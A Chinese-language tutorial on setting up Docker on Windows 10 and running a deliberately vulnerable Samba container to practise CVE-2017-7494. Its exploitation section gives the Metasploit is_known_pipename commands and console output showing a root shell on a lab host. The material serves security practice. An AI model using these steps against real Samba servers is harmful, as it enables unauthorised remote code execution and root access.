1. 前言

最近练习也在搭建这个漏洞环境,但是很费时间,然后就想到用Docker搭建比较快,又方便。不多废话,直接开始吧!

2. 下载Docker

我本次是利用Windows 10 来安装Docker,因为Windows出现了一个问题需要解决下,Linux和Mac安装官网的安装方法基本没什么问题。

官方下载地址:https://docs.docker.com/docker-for-windows/install/

安装/升级你的Docker客户端

对于Windows 10以下的用户 推荐使用 Docker Toolbox Toolbox的介绍和帮助:mirrors.aliyun.com/help/docker-toolbox

Windows系统的安装文件目录:http://mirrors.aliyun.com/docker-toolbox/windows/docker-toolbox/

对于Windows 10以上的用户 推荐使用 Docker for Windows Windows系统的安装文件目录:http://mirrors.aliyun.com/docker-toolbox/windows/docker-for-windows/

3. 安装Docker

  • 运行安装文件:

  • 安装完成:

  • 安装完之后会出现一个问题,就是要你开win10里面的Hyper-V,这个功能和VMware是冲突的,所以你开了Hyper-V就不能用VMware

  • 开启Hyper-V然后重启就可以使用了。

4. 使用国内的Docker加速器

注册一个阿里云的账号:https://cr.console.aliyun.com/#/accelerator

然后获取专属加速器地址:

在系统右下角托盘图标内右键菜单选择 Settings,打开配置窗口后左侧导航菜单选择 Docker Daemon。编辑窗口内的JSON串,填写加速器地址,如下所示:

{
  "registry-mirrors": ["https://0sdzi917.mirror.aliyuncs.com"]
}

5. 用Docker生成漏洞环境并使用

  • 这里我用Samba远程代码执行漏洞(CVE-2017-7494)来做测试。

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

获取环境

  1. 拉取镜像到本地 docker pull medicean/vulapps:s_samba_1

  2. 启动环境 docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1

-p 445:445 前面的 445 代表物理机的端口

利用步骤

我这里用虚拟机中Ubuntu来做实验,因为虚拟机的WIN10冲突了,命令都差不多的。

我的靶机IP是:10.150.37.143,也就是Docker的那台机子

msf > use exploit/linux/samba/is_known_pipename
msf exploit(linux/samba/is_known_pipename) > set RHOST 10.150.37.143
RHOST => 10.150.37.143
msf exploit(linux/samba/is_known_pipename) > show options

Module options (exploit/linux/samba/is_known_pipename):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   RHOST           10.150.37.143    yes       The target address
   RPORT           445              yes       The SMB service port (TCP)
   SMB_FOLDER                       no        The directory to use within the writeable SMB share
   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Interact)


msf exploit(linux/samba/is_known_pipename) > exploit 

[*] 10.150.37.143:445 - Using location \\10.150.37.143\share\ for the path
[*] 10.150.37.143:445 - Retrieving the remote path of the share 'share'
[*] 10.150.37.143:445 - Share 'share' has server-side path '/tmp/
[*] 10.150.37.143:445 - Uploaded payload to \\10.150.37.143\share\WxwPDkIX.so
[*] 10.150.37.143:445 - Loading the payload from server-side path /tmp/WxwPDkIX.so using \\PIPE\/tmp/WxwPDkIX.so...
[-] 10.150.37.143:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 10.150.37.143:445 - Loading the payload from server-side path /tmp/WxwPDkIX.so using /tmp/WxwPDkIX.so...
[+] 10.150.37.143:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 3 opened (10.150.37.128:41939 -> 10.150.37.143:445) at 2018-03-14 05:30:35 -0400

id
uid=0(root) gid=0(root) groups=0(root)

6. 结束

这玩其实还挺方便的,如果有时间的话可以去尝试自己动手配置环境,因为那样会遇到很多问题,自己又能学到更多的解决问题的方法了。

7. 参考

http://vulapps.evalbug.com/ 漏洞环境下载库

https://docs.docker.com/